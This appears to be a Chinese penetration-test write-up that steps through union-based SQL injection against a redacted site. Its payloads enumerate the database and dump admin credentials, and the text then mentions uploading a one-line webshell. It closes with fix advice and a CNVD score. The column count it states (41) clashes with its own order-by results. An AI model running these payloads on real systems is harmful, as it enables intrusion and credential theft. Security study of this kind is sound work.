当前位置: 首页 > article >正文

记一次渗透测试实战:SQL注入漏洞的挖掘与利用

0x01 漏洞发现

在对某网站进行安全测试时,发现以下URL存在异常:

https://******.com/search.php?keyword=1&zt=1954&dw=1885&zz=&

当参数keywordzt被赋值为-1时页面返回特殊内容,初步判断存在SQL注入漏洞

0x02 注入验证与字段探测

1. 字段数量判断

通过order by语句测试字段数:

https://******.com/search1.php?keyword=-1&zt=-1 order by 21--+  # 正常返回
https://******.com/search1.php?keyword=-1&zt=-1 order by 22--+  # 报错

确认当前查询字段数为41个。

2. 联合查询定位回显点

https://******.com/search1.php?keyword=-1&zt=-1 union select 1,2,3,...,21--+

页面显示数字3,确定第三个字段为回显位

0x03 信息收集

1. 基础信息获取

# 获取数据库用户
union select 1,2,user(),4,...,21--+  --> root@localhost

# 获取当前数据库
union select 1,2,database(),4,...,21--+  --> j**j

# 获取数据库版本
union select 1,2,version(),4,...,21--+  --> 8.0.34

2. 表名爆破(十六进制绕过)

union select 1,2,group_concat(table_name),4,...,21
from information_schema.tables 
where table_schema=0x6****b6a--+  # j**j的十六进制编码

返回关键表名:****_admin

0x04 敏感数据提取

1. 列名获取

union select 1,2,group_concat(column_name),4,...,21 
from information_schema.columns 
where table_name=0x776b63****46d696e--+  # ****_admin的十六进制

2. 管理员凭证提取

union select 1,2,group_concat(*****_name,0x3a,*****_pwd),4,...,21 
from ****_admin--+

返回加密凭证:usernmae:password

0x05 后台登录与后续渗透

  1. 通过解密获得明文密码 *****

  2. 成功登录后台:https://*****.com/admin/login.php

  3. 通过某处上传功能上传一句话木马获取服务器权限

0x06 漏洞修复建议

  1. 输入过滤:对参数进行类型强制转换(如intval())

  2. 预编译语句:使用PDO或mysqli预处理

  3. 权限控制:避免使用root账号连接数据库

  4. WAF部署:拦截恶意SQL语句

  5. 加密存储:密码使用salt+哈希算法存储

0x07 漏洞提交与评分

本次发现的SQL注入漏洞已提交至CNVD(国家信息安全漏洞共享平台),经过审核,漏洞评分为 7.8(高危)
评分依据:

  • 漏洞类型:SQL注入

  • 影响范围:数据库敏感信息泄露

  • 危害程度:可获取管理员权限,进一步控制服务器

  • 修复难度:中等


郑重声明:本次渗透测试已获得合法授权,所有敏感信息均已脱敏处理。请勿将本文技术用于非法用途!


(注:文中所提到的漏洞已修复)



http://www.kler.cn/a/571297.html

相关文章:

  • Trae:国内首款AI原生IDE,编程效率大提升
  • AI大模型-提示工程学习笔记21-图提示 (Graph Prompting)
  • 从0到1,动漫短剧源码搭建,动漫短剧小程序
  • 【暴力枚举】P1618 三连击(升级版)
  • Mac远程桌面软件哪个好用?
  • conda环境管理 kernel注册到jupyter notebook
  • C++20中的std::format
  • Python-测试代码
  • 利用Adobe Acrobat 实现PPT中图片分辨率的提升
  • 4G工业路由器在公交充电桩中的应用与优势
  • Android U 分屏——SystemUI侧处理
  • 蓝桥杯---归并排序2(leetcode170)题解
  • 石基大商:OceanBase + Flink CDC,搭建连锁零售系统数据湖
  • CentOS7 安装Redis 6.2.6 详细教程
  • 队列的顺序结构—循环队列的判断条件(rear + 1) % MAXSIZE分析
  • flowable的使用
  • 使用Windbg分析dump文件定位软件异常的方法与操作步骤
  • 【Python 数据结构 5.栈】
  • day51 shell
  • 交叉编译 ARM 架构浏览器(补充)